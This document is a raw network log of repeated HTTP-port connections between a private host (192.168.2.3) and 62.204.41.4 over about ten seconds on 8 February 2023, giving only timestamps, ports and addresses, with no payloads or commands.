Feb 8, 2023 21:33:07.855371952 CET	50074	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.856115103 CET	50075	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.916137934 CET	80	50074	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.916178942 CET	80	50075	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.916425943 CET	50074	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.916495085 CET	50075	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.920020103 CET	50075	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:07.980319023 CET	80	50075	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.983623028 CET	80	50075	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:07.985801935 CET	50075	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.089881897 CET	50075	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.091613054 CET	50076	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.150432110 CET	80	50075	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.150836945 CET	50075	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.151022911 CET	80	50076	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.154525042 CET	50076	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.154937029 CET	50076	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.214248896 CET	80	50076	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.217927933 CET	80	50076	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.223026037 CET	50076	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.339416027 CET	50076	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.340225935 CET	50077	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.399009943 CET	80	50076	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.401014090 CET	50076	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.401535034 CET	80	50077	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.401643038 CET	50077	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.402072906 CET	50077	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.463593960 CET	80	50077	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.466217995 CET	80	50077	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.469037056 CET	50077	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.582799911 CET	50077	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.583612919 CET	50078	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.644401073 CET	80	50077	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.645036936 CET	50077	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.645126104 CET	80	50078	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.649132967 CET	50078	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.649501085 CET	50078	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.710975885 CET	80	50078	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.713500977 CET	80	50078	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.713670015 CET	50078	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.825031996 CET	50078	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.826611042 CET	50079	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.886744976 CET	80	50078	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.886934996 CET	50078	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.887074947 CET	80	50079	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.887192011 CET	50079	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.887763977 CET	50079	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:08.948307991 CET	80	50079	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.950818062 CET	80	50079	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:08.951014042 CET	50079	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.078586102 CET	50079	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.080228090 CET	50080	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.139254093 CET	80	50079	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.139425993 CET	50079	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.139652967 CET	80	50080	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.139754057 CET	50080	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.144078970 CET	50080	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.203588963 CET	80	50080	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.207382917 CET	80	50080	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.207551956 CET	50080	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.328885078 CET	50080	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.332499981 CET	50081	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.388787031 CET	80	50080	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.388964891 CET	50080	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.394551992 CET	80	50081	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.394725084 CET	50081	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.395226955 CET	50081	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.457144976 CET	80	50081	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.459316969 CET	80	50081	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.459480047 CET	50081	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.574424028 CET	50081	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.575165033 CET	50082	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.636287928 CET	80	50081	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.636410952 CET	50081	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.637648106 CET	80	50082	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.637818098 CET	50082	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.638220072 CET	50082	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.700776100 CET	80	50082	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.703239918 CET	80	50082	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.703361034 CET	50082	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.810590982 CET	50082	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.818938971 CET	50083	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.873466015 CET	80	50082	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.873635054 CET	50082	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.879693031 CET	80	50083	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.879839897 CET	50083	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.880270004 CET	50083	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:09.940715075 CET	80	50083	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.943525076 CET	80	50083	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:09.943633080 CET	50083	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.058520079 CET	50083	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.059384108 CET	50084	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.119246006 CET	80	50083	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.119385958 CET	50083	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.119635105 CET	80	50084	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.119735003 CET	50084	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.121092081 CET	50084	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.181515932 CET	80	50084	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.185554981 CET	80	50084	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.185694933 CET	50084	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.292582989 CET	50084	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.293196917 CET	50085	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.352977037 CET	80	50084	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.353158951 CET	50084	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.353528976 CET	80	50085	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.353640079 CET	50085	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.354712963 CET	50085	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.415220022 CET	80	50085	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.417748928 CET	80	50085	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.417889118 CET	50085	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.527733088 CET	50085	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.536597967 CET	50086	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.588558912 CET	80	50085	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.588694096 CET	50085	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.597326040 CET	80	50086	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.597481966 CET	50086	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.598459005 CET	50086	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.658960104 CET	80	50086	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.661725044 CET	80	50086	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.661880970 CET	50086	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.777127981 CET	50086	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.777869940 CET	50087	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.838059902 CET	80	50086	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.838212967 CET	50086	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.838350058 CET	80	50087	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.839147091 CET	50087	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.839510918 CET	50087	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:10.900017977 CET	80	50087	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.902750969 CET	80	50087	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:10.905256033 CET	50087	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.012661934 CET	50087	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.013453960 CET	50088	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.073375940 CET	80	50087	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.075180054 CET	80	50088	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.075422049 CET	50087	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.075495005 CET	50088	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.076338053 CET	50088	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.137945890 CET	80	50088	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.141714096 CET	80	50088	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.145494938 CET	50088	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.261059046 CET	50088	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.261745930 CET	50089	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.322894096 CET	80	50088	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.322985888 CET	80	50089	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.323028088 CET	50088	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.323103905 CET	50089	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.324057102 CET	50089	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.385431051 CET	80	50089	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.387929916 CET	80	50089	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.388039112 CET	50089	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.495795965 CET	50089	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.496629953 CET	50090	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.557147980 CET	80	50090	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.557200909 CET	80	50089	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.557394981 CET	50089	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.559194088 CET	50090	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.561825037 CET	50090	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.622226954 CET	80	50090	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.625634909 CET	80	50090	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.625785112 CET	50090	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.782517910 CET	50090	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.783898115 CET	50091	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.843054056 CET	80	50090	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.843236923 CET	50090	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.845422983 CET	80	50091	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:11.845581055 CET	50091	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:11.991736889 CET	50091	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.053436995 CET	80	50091	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.058008909 CET	80	50091	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.058111906 CET	50091	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.167869091 CET	50091	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.168706894 CET	50092	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.228389978 CET	80	50092	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.228616953 CET	50092	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.229427099 CET	80	50091	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.229532003 CET	50091	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.281172991 CET	50092	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.340816021 CET	80	50092	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.343425035 CET	80	50092	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.343539953 CET	50092	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.511548996 CET	50092	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.512490988 CET	50093	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.571223974 CET	80	50092	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.571366072 CET	50092	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.574119091 CET	80	50093	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.574270964 CET	50093	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.595076084 CET	50093	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:12.656959057 CET	80	50093	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.658941031 CET	80	50093	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:12.659027100 CET	50093	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:13.700454950 CET	50093	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:13.701157093 CET	50094	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:13.762438059 CET	80	50093	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:13.762602091 CET	80	50094	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:13.762845039 CET	50093	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:13.762887001 CET	50094	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:13.788321018 CET	50094	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:13.849833965 CET	80	50094	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:13.853844881 CET	80	50094	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:13.854007959 CET	50094	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:14.428076982 CET	50094	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:14.489696980 CET	80	50094	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:14.489895105 CET	50094	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:14.540043116 CET	50095	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:14.601671934 CET	80	50095	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:14.601856947 CET	50095	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.244489908 CET	50095	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.306086063 CET	80	50095	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.309886932 CET	80	50095	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.309952021 CET	50095	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.422081947 CET	50095	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.422902107 CET	50096	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.483753920 CET	80	50095	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.483881950 CET	50095	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.484564066 CET	80	50096	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.484698057 CET	50096	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.486305952 CET	50096	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.548051119 CET	80	50096	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.550494909 CET	80	50096	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.550669909 CET	50096	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.670800924 CET	50096	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.671533108 CET	50097	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.732894897 CET	80	50096	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.733021021 CET	80	50097	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.733051062 CET	50096	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.733241081 CET	50097	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.743647099 CET	50097	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.805269957 CET	80	50097	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.807949066 CET	80	50097	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.808068037 CET	50097	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.918184042 CET	50097	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.918754101 CET	50098	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.979015112 CET	80	50098	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.979150057 CET	50098	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.979666948 CET	50098	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:15.979784966 CET	80	50097	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:15.979896069 CET	50097	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.039902925 CET	80	50098	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.043409109 CET	80	50098	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.043492079 CET	50098	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.152625084 CET	50098	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.153347969 CET	50099	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.212929964 CET	80	50098	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.213077068 CET	50098	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.213830948 CET	80	50099	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.213948011 CET	50099	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.214939117 CET	50099	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.315916061 CET	80	50099	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.318130970 CET	80	50099	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.318291903 CET	50099	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.433527946 CET	50099	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.434362888 CET	50100	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.496455908 CET	80	50099	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.496642113 CET	50099	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.496963978 CET	80	50100	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.497092962 CET	50100	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.504024982 CET	50100	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.564920902 CET	80	50100	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.567168951 CET	80	50100	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.567363024 CET	50100	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.684206009 CET	50100	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.685314894 CET	50101	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.745466948 CET	80	50100	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.746186018 CET	50100	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.747611046 CET	80	50101	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.748692036 CET	50101	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.750361919 CET	50101	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.812709093 CET	80	50101	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.814882994 CET	80	50101	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.819197893 CET	50101	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.934668064 CET	50101	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.935573101 CET	50102	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.997390985 CET	80	50101	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.997524023 CET	50101	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.997842073 CET	80	50102	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:16.997951031 CET	50102	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:16.998377085 CET	50102	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.060749054 CET	80	50102	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.064486027 CET	80	50102	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.065834999 CET	50102	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.169502974 CET	50102	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.170938969 CET	50103	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.232013941 CET	80	50102	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.232292891 CET	50102	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.234181881 CET	80	50103	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.234405994 CET	50103	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.234939098 CET	50103	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.297322035 CET	80	50103	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.299627066 CET	80	50103	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.301798105 CET	50103	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.418441057 CET	50103	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.420430899 CET	50104	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.481026888 CET	80	50103	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.481820107 CET	50103	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.482908010 CET	80	50104	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.483133078 CET	50104	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.483711958 CET	50104	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.546189070 CET	80	50104	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.548576117 CET	80	50104	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.548784971 CET	50104	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.654376030 CET	50104	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.656078100 CET	50105	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.717016935 CET	80	50104	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.717281103 CET	50104	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.717499971 CET	80	50105	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.717628956 CET	50105	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.766341925 CET	50105	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.828365088 CET	80	50105	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.830234051 CET	80	50105	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.830769062 CET	50105	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.934151888 CET	50105	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.934900045 CET	50106	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.995611906 CET	80	50106	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.995649099 CET	80	50105	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:17.995800018 CET	50105	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.996325016 CET	50106	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:17.996325016 CET	50106	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.057184935 CET	80	50106	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.061194897 CET	80	50106	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.061413050 CET	50106	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.175970078 CET	50106	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.176882982 CET	50107	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.236393929 CET	80	50107	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.236619949 CET	50107	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.236793041 CET	80	50106	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.236860037 CET	50106	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.237085104 CET	50107	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.296768904 CET	80	50107	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.299196005 CET	80	50107	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.299293041 CET	50107	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.402569056 CET	50107	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.403748035 CET	50108	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.462152004 CET	80	50107	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.462390900 CET	50107	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.465358019 CET	80	50108	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.465516090 CET	50108	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.466114998 CET	50108	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:18.527740955 CET	80	50108	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.529956102 CET	80	50108	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:18.530026913 CET	50108	80	192.168.2.3	62.204.41.4
